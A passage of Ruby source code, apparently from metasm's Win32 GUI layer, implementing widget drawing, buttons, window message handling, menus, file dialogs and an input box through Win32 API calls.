Win32Gui.closeclipboard - buf.chomp(0.chr) - end - end - - def set_font(todo) - hdc = Win32Gui.getdc(@hwnd) - # selectobject(hdc, hfont) - sz = Win32Gui.alloc_c_struct('POINT') - Win32Gui.gettextextentpoint32a(hdc, 'x', 1, sz) - @font_width = sz[:x] - @font_height = sz[:y] - Win32Gui.releasedc(@hwnd, hdc) - end -end - -class DrawableWidget < WinWidget - include TextWidget - - BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f44', :darkred => '800', :palered => 'faa', - :green => '4f4', :darkgreen => '080', :palegreen => 'afa', - :blue => '44f', :darkblue => '008', :paleblue => 'aaf', - :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', - :orange => 'fc8', - } - attr_accessor :buttons, :parent_widget - attr_accessor :default_color_association - - def initialize(*a, &b) - @color = {} - @default_color_association = { :background => :winbg } - @buttons = nil - - super() - - initialize_text - initialize_widget(*a, &b) - end - - def initialize_widget - end - - def initialize_visible_ - BasicColor.each { |tag, val| - @color[tag] = color(val) - } - @color[:winbg] = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) - set_color_association(@default_color_association) # should be called after Gui.main - set_font('courier 10') - initialize_visible if respond_to? :initialize_visible - end - - def set_color_association(hash) - hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } - hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } - gui_update - end - - def new_menu - toplevel.new_menu - end - - def addsubmenu(*a, &b) - toplevel.addsubmenu(*a, &b) - end - - def popupmenu(m, x, y) - toplevel.popupmenu(m, (x+@x).to_i, (y+@y).to_i) - end - - def paint_(realhdc) - @hdc = Win32Gui.createcompatibledc(realhdc) - bmp = Win32Gui.createcompatiblebitmap(realhdc, @width, @height) - Win32Gui.selectobject(@hdc, bmp) - Win32Gui.selectobject(@hdc, Win32Gui.getstockobject(Win32Gui::DC_BRUSH)) - Win32Gui.selectobject(@hdc, Win32Gui.getstockobject(Win32Gui::DC_PEN)) - Win32Gui.selectobject(@hdc, Win32Gui.getstockobject(Win32Gui::ANSI_FIXED_FONT)) - Win32Gui.setbkmode(@hdc, Win32Gui::TRANSPARENT) - draw_rectangle_color(:background, 0, 0, @width, @height) - paint - Win32Gui.bitblt(realhdc, @x, @y, @width, @height, @hdc, 0, 0, Win32Gui::SRCCOPY) - Win32Gui.deleteobject(bmp) - Win32Gui.deletedc(@hdc) - @hdc = nil - end - - def resized_(w, h) - @width = w - @height = h - resized(w, h) if respond_to? :resized - end - - def keypress_(key) - # XXX my gtk api sux - if not respond_to? :keypress or not protect { keypress(key) } - protect { @parent.keypress(key) } if @parent.respond_to? :keypress - end - end - - def keypress_ctrl_(key) - if not respond_to? :keypress_ctrl or not protect { keypress_ctrl(key) } - protect { @parent.keypress_ctrl(key) } if @parent.respond_to? :keypress_ctrl - end - end - - def gui_update - redraw - end - - def color(col) - @color[col] ||= col.sub(/^(\w\w)(\w\w)(\w\w)$/, '\\3\\2\\1').sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) - end - - def draw_color(col) - col = color(col) - Win32Gui.settextcolor(@hdc, col) - Win32Gui.setdcpencolor(@hdc, col) - Win32Gui.setdcbrushcolor(@hdc, col) - end - - def draw_line(x, y, ex, ey) - Win32Gui.movetoex(@hdc, x, y, 0) - Win32Gui.lineto(@hdc, ex, ey) - end - - def draw_line_color(col, x, y, ex, ey) - Win32Gui.setdcpencolor(@hdc, color(col)) - draw_line(x, y, ex, ey) - end - - def draw_rectangle(x, y, w, h) - Win32Gui.rectangle(@hdc, x, y, x+w, y+h) - end - - def draw_rectangle_color(col, x, y, w, h) - Win32Gui.setdcbrushcolor(@hdc, color(col)) - Win32Gui.setdcpencolor(@hdc, color(col)) # rect border - draw_rectangle(x, y, w, h) - end - - def draw_string(x, y, text) - return if not text or text == '' - Win32Gui.textouta(@hdc, x, y, text, text.length) - end - - def draw_string_color(col, x, y, text) - Win32Gui.settextcolor(@hdc, color(col)) - draw_string(x, y, text) - end - - # same as draw_string_color + hilight @hl_word_re - def draw_string_hl(col, x, y, str) - if @hl_word - while str =~ @hl_word_re - s1, s2 = $1, $2 - draw_string_color(col, x, y, s1) - x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) - draw_string_color(:hl_word, x, y, s2) - x += hl_w - str = str[s1.length+s2.length..-1] - end - end - draw_string_color(col, x, y, str) - end - - def keyboard_state(query=nil) - case query - when :control, :ctrl - Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0 - when :shift - Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 - when :alt - Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0 - else - [:control, :shift, :alt].find_all { |s| keyboard_state(s) } - end - end - -# represents a clickable area with a label (aka button) -class Button - attr_accessor :x, :y, :w, :h, :c1, :c2, :text, :down, :action - - # create a new Button with the specified text & border color - def initialize(text='Ok', c1=:palegrey, c2=:grey, &b) - @x = @y = @w = @h = 0 - @c1, @c2 = c1, c2 - @text = text - @down = false - @action = b - end - - # move the button (x y w h) - def move(nx=@x, ny=@y, nw=@w, nh=@h) - @x, @y, @w, @h = nx, ny, nw, nh - end - - # draw the button on the parent widget - def paint(w) - c1, c2 = @c1, @c2 - c1, c2 = c2, c1 if @down - w.draw_string_color(:text, @x+(@w-w.font_width*@text.length)/2, @y+(@h - w.font_height)/2, @text) - w.draw_line_color(c1, @x, @y, @x, @y+@h) - w.draw_line_color(c1, @x, @y, @x+@w, @y) - w.draw_line_color(c2, @x+@w, @y+@h, @x, @y+@h) - w.draw_line_color(c2, @x+@w, @y+@h, @x+@w, @y) - end - - # checks if the click is on the button, returns true if so - def click(x, y) - @down = true if x >= @x and x < @x+@w and y >= @y and y < @y+@h - end - - def mouserelease(x, y) - if @down - @down = false - @action.call - true - end - end -end - - # add a new button to the widget - def add_button(text='Ok', *a, &b) - @buttons ||= [] - @buttons << Button.new(text, *a, &b) - end - - # render the buttons on the widget - # should be called during #paint - def paint_buttons - @buttons.each { |b| b.paint(self) } - end - - # checks if the click is inside a button, returns true if it is - # should be called during #click - def click_buttons(x, y) - @buttons.find { |b| b.click(x, y) } - end - - # the mouse was released, call button action if it is pressed - # should be called during #mouserelease - def mouserelease_buttons(x, y) - @buttons.find { |b| b.mouserelease(x, y) } - end -end - -class Window - include Msgbox - - attr_accessor :menu, :hwnd, :popups - def initialize(*a, &b) - @widget = nil - @controlid = 1 # next free control id for menu items, buttons etc - @control_action = {} - (@@mainwindow_list ||= []) << self - @visible = false - @popups = [] - @parent ||= nil - - cname = "metasm_w32gui_#{object_id}" - cls = Win32Gui.alloc_c_struct 'WNDCLASSEXA', :cbsize => :size, - :style => Win32Gui::CS_DBLCLKS, - :hcursor => Win32Gui.loadcursora(0, Win32Gui::IDC_ARROW), - :lpszclassname => cname, - :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } - - Win32Gui.registerclassexa(cls) - - @hwnd = Win32Gui.createwindowexa(win32styleex, cname, 'win32gui window', win32style, Win32Gui::CW_USEDEFAULT, Win32Gui::SW_HIDE, Win32Gui::CW_USEDEFAULT, 0, 0, 0, 0, 0) - - initialize_window(*a, &b) - - if respond_to? :build_menu - @menu = [] - @menuhwnd = 0 - build_menu - update_menu - end - - Win32Gui.dragacceptfiles(@hwnd, Win32Gui::TRUE) - - show - end - def win32styleex; 0 ; end - def win32style; Win32Gui::WS_OVERLAPPEDWINDOW ; end - - def show - Win32Gui.showwindow(@hwnd, Win32Gui::SW_SHOWDEFAULT) - Win32Gui.updatewindow(@hwnd) - end - - def keyboard_state(query=nil) - case query - when :control, :ctrl - Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0 - when :shift - Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 - when :alt - Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0 - end - end - - # keypress event keyval traduction table - Keyboard_trad = Win32Gui.cp.lexer.definition.keys.grep(/^VK_/).inject({}) { |h, cst| - v = Win32Gui.const_get(cst) - key = cst.to_s.sub(/^VK_/, '').downcase.to_sym - h.update v => { - :prior => :pgup, :next => :pgdown, - :escape => :esc, :return => :enter, - :back => :backspace, :apps => :popupmenu, - :add => ?+, :subtract => ?-, :multiply => ?*, :divide => ?/, - }.fetch(key, key) - } - -#MSGNAME = Win32Gui.cp.lexer.definition.keys.grep(/WM_/).sort.inject({}) { |h, c| h.update Win32Gui.const_get(c) => c } - def windowproc(hwnd, msg, wparam, lparam) -#puts "wproc #{'%x' % hwnd} #{MSGNAME[msg] || msg} #{'%x' % wparam} #{'%x' % lparam}" if not %w[WM_NCHITTEST WM_SETCURSOR WM_MOUSEMOVE WM_NCMOUSEMOVE].include? MSGNAME[msg] - @hwnd ||= hwnd # some messages are sent before createwin returns - case msg - when Win32Gui::WM_NCHITTEST, Win32Gui::WM_SETCURSOR - # most frequent messages (with MOUSEMOVE) - return Win32Gui.defwindowproca(hwnd, msg, wparam, lparam) - when Win32Gui::WM_MOUSEMOVE, Win32Gui::WM_LBUTTONDOWN, Win32Gui::WM_RBUTTONDOWN, - Win32Gui::WM_LBUTTONDBLCLK, Win32Gui::WM_MOUSEWHEEL, Win32Gui::WM_LBUTTONUP - mouse_msg(msg, wparam, lparam) - when Win32Gui::WM_PAINT - ps = Win32Gui.alloc_c_struct('PAINTSTRUCT') - hdc = Win32Gui.beginpaint(hwnd, ps) - if @widget - @widget.paint_(hdc) - else - Win32Gui.selectobject(hdc, Win32Gui.getstockobject(Win32Gui::DC_BRUSH)) - Win32Gui.selectobject(hdc, Win32Gui.getstockobject(Win32Gui::DC_PEN)) - col = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) - Win32Gui.setdcbrushcolor(hdc, col) - Win32Gui.setdcpencolor(hdc, col) - Win32Gui.rectangle(hdc, 0, 0, @width, @height) - end - Win32Gui.endpaint(hwnd, ps) - when Win32Gui::WM_MOVE - rect = Win32Gui.alloc_c_struct('RECT') - Win32Gui.getwindowrect(@hwnd, rect) - @x, @y, @width, @height = rect[:left], rect[:top], rect[:right]-rect[:left], rect[:bottom]-rect[:top] - @clientx = lparam & 0xffff - @clienty = (lparam >> 16) & 0xffff - when Win32Gui::WM_SIZE - rect = Win32Gui.alloc_c_struct('RECT') - Win32Gui.getwindowrect(@hwnd, rect) - @x, @y, @width, @height = rect[:left], rect[:top], rect[:right]-rect[:left], rect[:bottom]-rect[:top] - @clientwidth = lparam & 0xffff - @clientheight = (lparam >> 16) & 0xffff - @widget.resized_(lparam & 0xffff, (lparam >> 16) & 0xffff) if @widget - redraw - when Win32Gui::WM_WINDOWPOSCHANGING - if @popups.first - # must move popups to top before updating hwndInsertafter - f = Win32Gui::SWP_NOACTIVATE | Win32Gui::SWP_NOMOVE | Win32Gui::SWP_NOSIZE | - Win32Gui::SWP_NOOWNERZORDER | Win32Gui::SWP_NOSENDCHANGING - @popups.each { |pw| Win32Gui.setwindowpos(pw.hwnd, Win32Gui::HWND_TOP, 0, 0, 0, 0, f) } - Win32Gui.memory_write_int(lparam+Win32Gui.cp.typesize[:ptr], @popups.first.hwnd) - end - when Win32Gui::WM_SHOWWINDOW - initialize_visible_ - when Win32Gui::WM_KEYDOWN, Win32Gui::WM_SYSKEYDOWN - # SYSKEYDOWN for f10 (default = activate the menu bar) - if key = Keyboard_trad[wparam] - if [?+, ?-, ?/, ?*].include?(key) - # keypad keys generate wm_keydown + wm_char, ignore this one - elsif keyboard_state(:control) - @widget.keypress_ctrl_(key) if @widget - else - @widget.keypress_(key) if @widget - end - end - Win32Gui.defwindowproca(hwnd, msg, wparam, lparam) if key != :f10 # alt+f4 etc - when Win32Gui::WM_CHAR - if keyboard_state(:control) and not keyboard_state(:alt) # altgr+[ returns CTRL on.. - if ?a.kind_of?(String) - wparam += (keyboard_state(:shift) ? ?A.ord : ?a.ord) - 1 if wparam < 0x1a - key = wparam.chr - else - wparam += (keyboard_state(:shift) ? ?A : ?a) - 1 if wparam < 0x1a - key = wparam - end - @widget.keypress_ctrl_(key) if @widget - else - key = (?a.kind_of?(String) ? wparam.chr : wparam) - @widget.keypress_(key) if @widget - end - when Win32Gui::WM_DESTROY - destroy_window - when Win32Gui::WM_COMMAND - if a = @control_action[wparam] - protect { a.call } - end - when Win32Gui::WM_DROPFILES - cnt = Win32Gui.dragqueryfilea(wparam, -1, 0, 0) - cnt.times { |i| - buf = [0].pack('C')*1024 - len = Win32Gui.dragqueryfilea(wparam, i, buf, buf.length) - protect { @widget.dragdropfile(buf[0, len]) } if @widget and @widget.respond_to? :dragdropfile - } - Win32Gui.dragfinish(wparam) - else return Win32Gui.defwindowproca(hwnd, msg, wparam, lparam) - end - 0 - end - - def mouse_msg(msg, wparam, lparam) - return if not @widget - x = Expression.make_signed(lparam & 0xffff, 16) - y = Expression.make_signed((lparam >> 16) & 0xffff, 16) - ctrl = true if wparam & Win32Gui::MK_CONTROL > 0 - cmsg = - case msg - when Win32Gui::WM_MOUSEMOVE - :mousemove - when Win32Gui::WM_LBUTTONDOWN - ctrl ? :click_ctrl : :click - when Win32Gui::WM_LBUTTONUP - :mouserelease - when Win32Gui::WM_RBUTTONDOWN - :rightclick - when Win32Gui::WM_LBUTTONDBLCLK - :doubleclick - when Win32Gui::WM_MOUSEWHEEL - off = Expression.make_signed((wparam >> 16) & 0xffff, 16) - dir = off > 0 ? :up : :down - if ctrl - return(@widget.mouse_wheel_ctrl(dir, x-@clientx, y-@clienty) if @widget.respond_to? :mouse_wheel_ctrl) - else - return(@widget.mouse_wheel(dir, x-@clientx, y-@clienty) if @widget.respond_to? :mouse_wheel) - end - end - - case cmsg - when :click - Win32Gui.setcapture(@hwnd) - when :mouserelease - Win32Gui.releasecapture - end - - @widget.send(cmsg, x, y) if cmsg and @widget.respond_to? cmsg - end - - def initialize_visible_ - return if @visible - @visible = true - @widget.initialize_visible_ if @widget - end - - attr_reader :x, :y, :width, :height - attr_reader :clientx, :clienty, :clientwidth, :clientheight - def x=(newx) - Win32Gui.movewindow(@hwnd, newx, @y, @width, @height, Win32Gui::TRUE) - end - def y=(newy) - Win32Gui.movewindow(@hwnd, @x, newy, @width, @height, Win32Gui::TRUE) - end - def width=(newwidth) - Win32Gui.movewindow(@hwnd, @x, @y, newwidth, @height, Win32Gui::TRUE) - end - def height=(newheight) - Win32Gui.movewindow(@hwnd, @x, @y, @width, newheight, Win32Gui::TRUE) - end - - def widget ; @widget ; end - def widget=(w) - @widget = w - w.hwnd = @hwnd if w - w.parent = self if w - if @visible and w - @widget.initialize_visible_ - rect = Win32Gui.alloc_c_struct('RECT') - Win32Gui.getclientrect(@hwnd, rect) - @widget.resized_(rect[:right], rect[:bottom]) - end - redraw - end - - def redraw - Win32Gui.invalidaterect(@hwnd, 0, Win32Gui::FALSE) - end - - def destroy - Win32Gui.sendmessagea(@hwnd, Win32Gui::WM_CLOSE, 0, 0) - end - - def destroy_window - @destroyed = true - @@mainwindow_list.delete self - Gui.main_quit if @@mainwindow_list.empty? # XXX we didn't call Gui.main, we shouldn't Gui.main_quit... - end - - def destroyed? ; @destroyed ||= false ; end - - def new_menu - [] - end - - # finds a menu by name (recursive) - # returns a valid arg for addsubmenu(ret) - def find_menu(name, from=@menu) - name = name.gsub('_', '') - if not l = from.find { |e| e.grep(::String).find { |es| es.gsub('_', '') == name } } - l = from.map { |e| e.grep(::Array).map { |ae| find_menu(name, ae) }.compact.first }.compact.first - end - l.grep(::Array).first if l - end - - # append stuff to a menu - # arglist: - # empty = menu separator - # string = menu entry display name (use a single '_' keyboard for shortcut, eg 'Sho_rtcut' => 'r') - # :check = menu entry is a checkbox type, add a true/false argument to specify initial value - # second string = keyboard shortcut (accelerator) - use '^' for Ctrl, and '<up>' for special keys - # a menu object = this entry will open a submenu (you must specify a name, and action is ignored) - # the method takes a block or a Proc argument that will be run whenever the menu item is selected - # - # use @menu to reference the top-level menu bar - # call update_menu when the menu is done - def addsubmenu(menu, *args, &action) - args << action if action - menu << args - menu.last - end - - # make the window's MenuBar reflect the content of @menu - def update_menu - unuse_menu(@menu) - Win32Gui.destroymenu(@menuhwnd) if @menuhwnd != 0 - @menuhwnd = Win32Gui.createmenu() - @menu.each { |e| create_menu_item(@menuhwnd, e) } - Win32Gui.setmenu(@hwnd, @menuhwnd) - end - - def popupmenu(m, x, y) - hm = Win32Gui.createpopupmenu() - m.each { |e| create_menu_item(hm, e) } - pt = Win32Gui.alloc_c_struct('POINT', :x => x, :y => y) - Win32Gui.clienttoscreen(@hwnd, pt) - id = Win32Gui.trackpopupmenu(hm, Win32Gui::TPM_NONOTIFY | Win32Gui::TPM_RETURNCMD, pt.x, pt.y, 0, @hwnd, 0) - if p = @control_action[id] - # TrackPopup returns before WM_COMMAND is delivered, so if we - # want to cleanup @control_action we must call it now & clenup - p.call - end - unuse_menu(m) - Win32Gui.destroymenu(hm) - end - - def unuse_menu(m) - m.flatten.grep(Proc).reverse_each { |c| - if @control_action[@controlid-1] == c - @controlid -= 1 # recycle IDs - @control_action.delete @controlid - elsif i = @control_action.index(c) - @control_action.delete i - end - } - end - - def create_menu_item(menu, entry) - args = entry.dup - - stock = (%w[OPEN SAVE CLOSE QUIT] & args).first - args.delete stock if stock - accel = args.grep(/^\^?(\w|<\w+>)$/).first - args.delete accel if accel - check = args.delete :check - action = args.grep(::Proc).first - args.delete action if action - if submenu = args.grep(::Array).first - args.delete submenu - sm = Win32Gui.createmenu() - submenu.each { |e| create_menu_item(sm, e) } - submenu = sm - end - label = args.shift - - label ||= '_' + stock.capitalize if stock - - flags = 0 - - if check - checked = args.shift - flags |= (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED) - end - flags |= Win32Gui::MF_POPUP if submenu - if label - flags |= Win32Gui::MF_STRING - label = label.gsub('&', '&&') - label = label.tr('_', '&') - else - flags |= Win32Gui::MF_SEPARATOR - end - - if accel - key = accel[-1] - key = accel[/<(.*)>/, 1] if key == ?> - label += "\t#{'c-' if accel[0] == ?^}#{key.kind_of?(Integer) ? key.chr : key}" - end - - if action - id = @controlid - if not check - @control_action[id] = action - else - @control_action[id] = lambda { - checked = action.call(!checked) - Win32Gui.checkmenuitem(menu, id, (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED)) - } - entry << @control_action[id] # allow deletion in unuse_menu - end - @controlid += 1 - end - - Win32Gui.appendmenua(menu, flags, id || submenu, label) - end - - def title; @title; end - def title=(t) - @title = t - Win32Gui.setwindowtexta(@hwnd, @title) - end - - def initialize_window - end -end - -class ToolWindow < Window - def win32styleex; Win32Gui::WS_EX_TOOLWINDOW ; end - def win32style; Win32Gui::WS_POPUP | Win32Gui::WS_SYSMENU | Win32Gui::WS_CAPTION | Win32Gui::WS_THICKFRAME ; end - - def initialize_visible_ - super - # center on the parent from size in initial_size - w, h = @widget.initial_size - r1 = Win32Gui.alloc_c_struct('RECT') - Win32Gui.getwindowrect(@parent.hwnd, r1) - r2 = Win32Gui.alloc_c_struct('RECT', :left => 0, :top => 0, :right => w, :bottom => h) - Win32Gui.adjustwindowrectex(r2, @parent.win32style, Win32Gui::FALSE, @parent.win32styleex) - x = r1[:left]+(r1[:right]-r1[:left]-r2[:right]+r2[:left])/2 - y = r1[:top ]+(r1[:bottom]-r1[:top]-r2[:bottom]+r2[:top])/2 - Win32Gui.movewindow(@hwnd, x, y, r2[:right]-r2[:left], r2[:bottom]-r2[:top], Win32Gui::FALSE) - end - - def initialize(parent, *a, &b) - @parent = parent - super(*a, &b) - @@mainwindow_list.delete self - @parent.popups << self if parent - end - - def destroy_window - @parent.popups.delete self if @parent - super - end -end - -class OpenFile - def w32api(arg) - Win32Gui.getopenfilenamea(arg) - end - def w32flags - Win32Gui::OFN_PATHMUSTEXIST - end - - def initialize(win, title, opts={}) - buf = [0].pack('C')*512 - ofn = Win32Gui.alloc_c_struct 'OPENFILENAMEA', - :lstructsize => :size, - #:hwndowner => win.hwnd, # 0 for nonmodal - :lpstrfilter => "All Files\0*.*\0\0", - :lpstrfile => buf, - :lpstrtitle => title, - :nmaxfile => buf.length, - :flags => Win32Gui::OFN_DONTADDTORECENT | Win32Gui::OFN_LONGNAMES | - Win32Gui::OFN_HIDEREADONLY | w32flags - ofn[:lpstrinitialdir] = opts[:path] if opts[:path] - return if w32api(ofn) == 0 - buf = buf[0, buf.index(0.chr)] if buf.index(0.chr) - yield buf if buf != '' - end -end - -class SaveFile < OpenFile - def w32api(arg) - Win32Gui.getsavefilenamea(arg) - end - def w32flags - Win32Gui::OFN_OVERWRITEPROMPT - end -end - -class MessageBox - def initialize(win, msg, opts={}) - opts = { :title => opts } if opts.kind_of? String - Win32Gui.messageboxa(0, msg, opts[:title], 0) - end -end - -class InputBox < ToolWindow -class IBoxWidget < DrawableWidget - def initialize_widget(label, opts, &b) - @label = label - @action = b - @textdown = false - @curline = opts[:text].to_s.dup - @oldsel_x = @caret_x_select = 0 - @caret_x = @curline.length - @caret_x_start = 0 - @@history ||= {} - histkey = opts[:history] || label[0, 10] - @history = (@@history[histkey] ||= []) - @history_off = @history.length - - add_button('Ok', :btnc1, :btnc2) { keypress(:enter) } - add_button('Cancel', :btnc1, :btnc2) { keypress(:esc) } - - @default_color_association = { :background => :winbg, :label => :black, - :text => :black, :textbg => :white, :caret => :black, :btnc1 => :palegrey, - :btnc2 => :grey, :textsel => :white, :textselbg => :darkblue } - end - - def resized(w, h) - bw = 10*@font_width - bh = @font_height*3/2 - @buttons[0].move((w-2*bw-3*@font_width)/2, 0, bw, bh) - @buttons[1].move(@buttons[0].x + 3*@font_width + bw, 0, bw, bh) - end - - def initial_size - [40*@font_width, 6*@font_height + @font_height/4] - end - - def paint - y = @font_height/2 - - fixedfont = Win32Gui.selectobject(@hdc, Win32Gui.getstockobject(Win32Gui::ANSI_VAR_FONT)) - sz = Win32Gui.alloc_c_struct('POINT') - Win32Gui.gettextextentpoint32a(@hdc, 'x', 1, sz) - var_font_height = sz[:y] - @label.each_line { |l| - draw_string_color(:label, @font_width, y, l) - y += var_font_height - } - y += @font_height - @texty = y-1 - @texth = @font_height+1 - - Win32Gui.selectobject(@hdc, fixedfont) - - y += @font_height*2 - @buttons.each { |b| b.y = y } - paint_buttons - - w_c = width/@font_width - 2 - - if @caret_x <= @caret_x_start - @caret_x_start = [@caret_x-1, 0].max - elsif @caret_x_start > 0 and @curline[@caret_x_start..-1].length < w_c-1 - @caret_x_start = [@curline.length-w_c+1, 0].max - elsif @caret_x_start + w_c <= @caret_x - @caret_x_start = [@caret_x-w_c+1, 0].max - end - draw_rectangle_color(:textbg, @font_width, @texty-1, @width-2*@font_width, @font_height+1) - draw_string_color(:text, @font_width+1, @texty, @curline[@caret_x_start, w_c]) - - if @caret_x_select - c1, c2 = [@caret_x_select, @caret_x].sort - c1 = [[c1, @caret_x_start].max, @caret_x_start+w_c].min - c2 = [[c2, @caret_x_start].max, @caret_x_start+w_c].min - if c1 != c2 - draw_rectangle_color(:textselbg, @font_width+1+(c1-@caret_x_start)*@font_width, @texty-1, (c2-c1)*@font_width, @font_height+1) - draw_string_color(:textsel, @font_width+1+(c1-@caret_x_start)*@font_width, @texty, @curline[c1...c2]) - end - end - - cx = [@caret_x-@caret_x_start+1, w_c].min*@font_width+1 - draw_line_color(:caret, cx, @texty, cx, @texty+@font_height-1) - @oldcaret_x = @caret_x - end - - def keypress_ctrl(key) - case key - when ?a - @caret_x_select = 0 - @caret_x = @curline.length - redraw - when ?c - if @caret_x_select - c1, c2 = [@caret_x, @caret_x_select].sort - clipboard_copy @curline[c1...c2] - end - when ?v - cptext = clipboard_paste.to_s - cx = @caret_x_select || @caret_x - @caret_x_select = nil - c1, c2 = [cx, @caret_x].sort - @curline[c1...c2] = cptext - @caret_x_select = nil - @caret_x = c1 + cptext.length - redraw - when ?x - if @caret_x_select - c1, c2 = [@caret_x, @caret_x_select].sort - clipboard_copy @curline[c1...c2] - @curline[c1..c2] = '' - @caret_x_select = nil - @caret_x = c1 - redraw - end - else return false - end - true - end - - def keypress(key) - case key - when :left - if keyboard_state(:shift) - @caret_x_select ||= @caret_x - else - @caret_x_select = nil - end - @caret_x -= 1 if @caret_x > 0 - update_caret - when :right - if keyboard_state(:shift) - @caret_x_select ||= @caret_x - else - @caret_x_select = nil - end - @caret_x += 1 if @caret_x < @curline.length - update_caret - when :home - if keyboard_state(:shift) - @caret_x_select ||= @caret_x - else - @caret_x_select = nil - end - @caret_x = 0 - update_caret - when :end - if keyboard_state(:shift) - @caret_x_select ||= @caret_x - else - @caret_x_select = nil - end - @caret_x = @curline.length - update_caret - when :up, :down - if @history_off < @history.length or @curline.strip != @history.last - @history[@history_off] = @curline.strip - end - @history_off += (key == :up ? -1 : 1) - @history_off %= @history.length - @curline = @history[@history_off].to_s - @caret_x = @curline.length if @caret_x > @curline.length - redraw - when :enter - @history << @curline.strip - @history.pop if @history.last == '' - @history.pop if @history.last == @history[-2] - destroy - Gui.main_iter - protect { @action.call(@curline.strip) } - when :esc - if @buttons.find { |b| b.down } - @buttons.each { |b| b.down = false } - redraw - else - destroy - end - when ?\x20..?\x7e - cx = @caret_x_select || @caret_x - @caret_x_select = nil - c1, c2 = [cx, @caret_x].sort - @curline[c1...c2] = key.chr - @caret_x = c1+1 - redraw - when :delete - if @caret_x_select - c1, c2 = [@caret_x, @caret_x_select].sort - @curline[c1...c2] = '' - @caret_x_select = nil - @caret_x = c1 - redraw - elsif @caret_x < @curline.length - @curline[@caret_x, 1] = '' - redraw - end - when :backspace - if @caret_x_select - c1, c2 = [@caret_x, @caret_x_select].sort - @curline[c1...c2] = '' - @caret_x_select = nil - @caret_x = c1 - redraw - elsif @caret_x > 0 - @caret_x -= 1 - @curline[@caret_x, 1] = '' - redraw - end - else return false - end - true - end - - def click(x, y) - if y >= @texty and y < @texty+@texth - @caret_x_select = nil - @caret_x = x.to_i / @font_width - 1 + @caret_x_start - @caret_x = [[@caret_x, 0].max, @curline.length].min - @textdown = @caret_x - update_caret - elsif click_buttons(x, y) - redraw - end - end - - def mousemove(x, y) - if @textdown - x = x.to_i / @font_width - 1 + @caret_x_start - x = [[x, 0].max, @curline.length].min - if x != @textdown - @caret_x_select = @textdown - @caret_x = x - redraw - end - end - end - - def mouserelease(x, y) - if @textdown - x = x.to_i / @font_width - 1 + @caret_x_start - x = [[x, 0].max, @curline.length].min - if x != @textdown - @caret_x_select = @textdown - @caret_x = x - redraw - end - @textdown = false - elsif mouserelease_buttons(x, y) - end - end - - def update_caret - return if @oldcaret_x == @caret_x and @oldsel_x == @caret_x_select - redraw - @oldsel_x = @caret_x_select - @oldcaret_x = @caret_x - end - - def destroy - @parent.destroy - end - - def text - @curline - end - def text=(t) - @curline = t - @caret_x_select = 0 - @caret_x = t.length - redraw - end - - def dragdropfile(f) - cx = @caret_x_select || @caret_x - @caret_x_select = nil - c1, c2 = [cx, @caret_x].sort - @curline[c1...c2] = f - @caret_x_select = nil - @caret_x = c1 + f.length - redraw - end -end - def initialize_window(prompt, opts={}, &b) - self.title = opts[:title] ? opts[:title] : 'input' - self.widget = IBoxWidget.new(prompt, opts, &b) - end - - def text ; @widget.text ; end - def text=(t) ; @widget.text = t ; end -end - -class ListWindow < ToolWindow -class LBoxWidget < DrawableWidget - def initialize_widget(list, opts={}, &b) - ccnt = list.first.length - # store a true/false per column saying if the original data was integers (for col sorting) - @list_ints = list[1..-1].transpose.map { |col| col.all? { |e| e.kind_of? Integer } } rescue [] - @list = list.map { |l| - l += ['']*(ccnt - l.length) if l.length < ccnt - l = l[0, ccnt] if l.length > ccnt - l.map { |w| w.to_s } - } - # length of the longest element of the column - @colwmax = @list.transpose.map { |l| l.map { |w| w.length }.max } - @titles = @list.shift - - @action = b - @linehead = 0 - @color_callback = opts[:color_callback] # lambda { |ary_entries_text| [color_font, color_bg] } - @noclose_dblclick = opts[:noclose_dblclick] - # index of the currently selected row - @linesel = nil - # ary indicating whether a title label is being clicked - @btndown = [] - @btnheight = @font_height * 4/3 - @sbh = 0 # position of the hz scrollbar - @sbv = 0 - - @default_color_association = { :background => :winbg, :label => :black, - :text => :black, :textbg => :white, :btnc1 => :white, :btnc2 => :grey, - :textsel => :white, :textselbg => :darkblue } - end - - def initial_size - @colw = @colwmax.map { |w| (w+1) * @font_width } - allw = @colw.inject(0) { |a, i| a+i } - [[allw, 80*@font_width].min, [@list.length+1, 30].min * @font_height+2] - end - - def resized(w, h) - # scrollbar stuff - fullw = @colwmax.inject(0) { |a, i| a+i+1 } * @font_width - @sbh = fullw-w if @sbh > fullw-w - @sbh = 0 if @sbh < 0 - sif = Win32Gui.alloc_c_struct('SCROLLINFO', - :cbsize => :size, :fmask => Win32Gui::SIF_ALL, - :nmin => 0, :nmax => fullw-1, :npage => w, :npos => @sbh) - Win32Gui.setscrollinfo(@hwnd, Win32Gui::SB_HORZ, sif, Win32Gui::TRUE) - - fullh = @list.length * @font_height + @btnheight - @sbv = fullh-h if @sbv > fullh-h - @sbv = 0 if @sbv < 0 - sif = Win32Gui.alloc_c_struct('SCROLLINFO', - :cbsize => :size, :fmask => Win32Gui::SIF_ALL, - :nmin => 0, :nmax => fullh-1, :npage => h, :npos => @sbv) - Win32Gui.setscrollinfo(@hwnd, Win32Gui::SB_VERT, sif, Win32Gui::TRUE) - - # resize columns to fill available hz space - if w > fullw - mi = (w-fullw) / @colw.length - mm = (w-fullw) % @colw.length - @colw.length.times { |i| - @colw[i] = 